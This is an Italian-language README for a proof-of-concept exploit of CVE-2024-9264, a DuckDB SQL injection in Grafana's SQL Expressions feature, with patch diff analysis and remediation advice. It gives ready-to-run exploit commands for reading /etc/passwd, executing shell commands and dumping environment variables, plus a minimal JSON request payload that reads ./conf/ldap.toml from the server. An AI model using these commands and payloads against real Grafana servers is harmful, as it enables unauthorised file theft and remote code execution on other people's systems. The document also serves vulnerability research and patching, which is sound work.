
Exploit per Grafana per lettura arbitraria di file e RCE (CVE-2024-9264)
Questa PoC dimostra lo sfruttamento di CVE-2024-9264 usando un utente autenticato per eseguire una query SQL DuckDB e leggere un file arbitrario dal filesystem o eseguire codice arbitrario in remoto.
Il codice arbitrario può essere eseguito solo su Grafana v11.0.0.
I file possono essere letti in tutte le versioni vulnerabili.
Setup: Installa le dipendenze necessarie tramite:
pip install -r requirements.txt
Lettura file (universale):
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
Esecuzione comandi (solo v11.0.0)
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000
Puoi anche eseguire query DuckDB arbitrarie, come chiamare getenv per recuperare variabili d'ambiente:
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
L'elenco delle funzioni DuckDB di utilità che possono essere sfruttate è disponibile qui.
CVE-2024-9264 è una vulnerabilità di SQL injection DuckDB nella funzionalità sperimentale SQL Expressions di Grafana. Qualsiasi utente autenticato può eseguire query SQL DuckDB arbitrarie attraverso espressioni modificate nei dashboard di Grafana.
Versioni affette:
Versioni corrette:
Grafana ha rilasciato versioni speciali per risolvere questa vulnerabilità. Per analizzare la patch, si possono usare i seguenti comandi per confrontare le modifiche:
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
Ciò rivela che la funzionalità SQL Expressions è stata semplicemente rimossa dalle versioni vulnerabili.
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+ "errors"
+
+ "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+ return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+ return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+ return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+ return &DB{}
+}
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
rsp := mathexp.Results{}
- duckDB := duck.NewInMemoryDB()
+ duckDB := sql.NewInMemoryDB()
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
if err != nil {
La patch rimuove completamente SQL Expressions, impedendo la possibilità di sfruttamento.
Avvia Grafana: Esegui Grafana con la versione 11.0.5:
docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
Modifica un'Espressione:
Crea un dashboard con un'espressione come "Math", intercetta la richiesta con Burp e modifica il tipo datasource da math a sql.
Una richiesta HTTP verrà inviata a /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101.
Di seguito è riportato il JSON minimo necessario per eseguire una query SQL DuckDB per leggere un file arbitrario come ./conf/ldap.toml:
{
"queries": [
{
"refId": "B",
"datasource": {
"type": "__expr__",
"uid": "__expr__",
"name": "Expression"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
"window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}
Non è necessario che un dashboard sia presente per lo sfruttamento effettivo; è solo un modo semplice per trovare la richiesta HTTP per eseguire una query.
È importante notare che, sebbene questa vulnerabilità sia critica, la sua sfruttabilità dipende dal fatto che il binario DuckDB sia installato sul server Grafana. Per impostazione predefinita, Grafana non viene fornito con DuckDB installato e non esiste un'opzione per installarlo direttamente dall'interfaccia di Grafana.
Affinché questa vulnerabilità sia sfruttabile, un amministratore deve aver installato manualmente DuckDB e averlo aggiunto al $PATH del server Grafana. Se DuckDB non è presente, la vulnerabilità di SQL injection non può essere sfruttata, riducendo significativamente la probabilità di uno sfruttamento riuscito nelle installazioni predefinite.
Aggiorna Grafana alle versioni corrette e assicurati che il binario DuckDB non sia presente nel $PATH se l'aggiornamento è ritardato.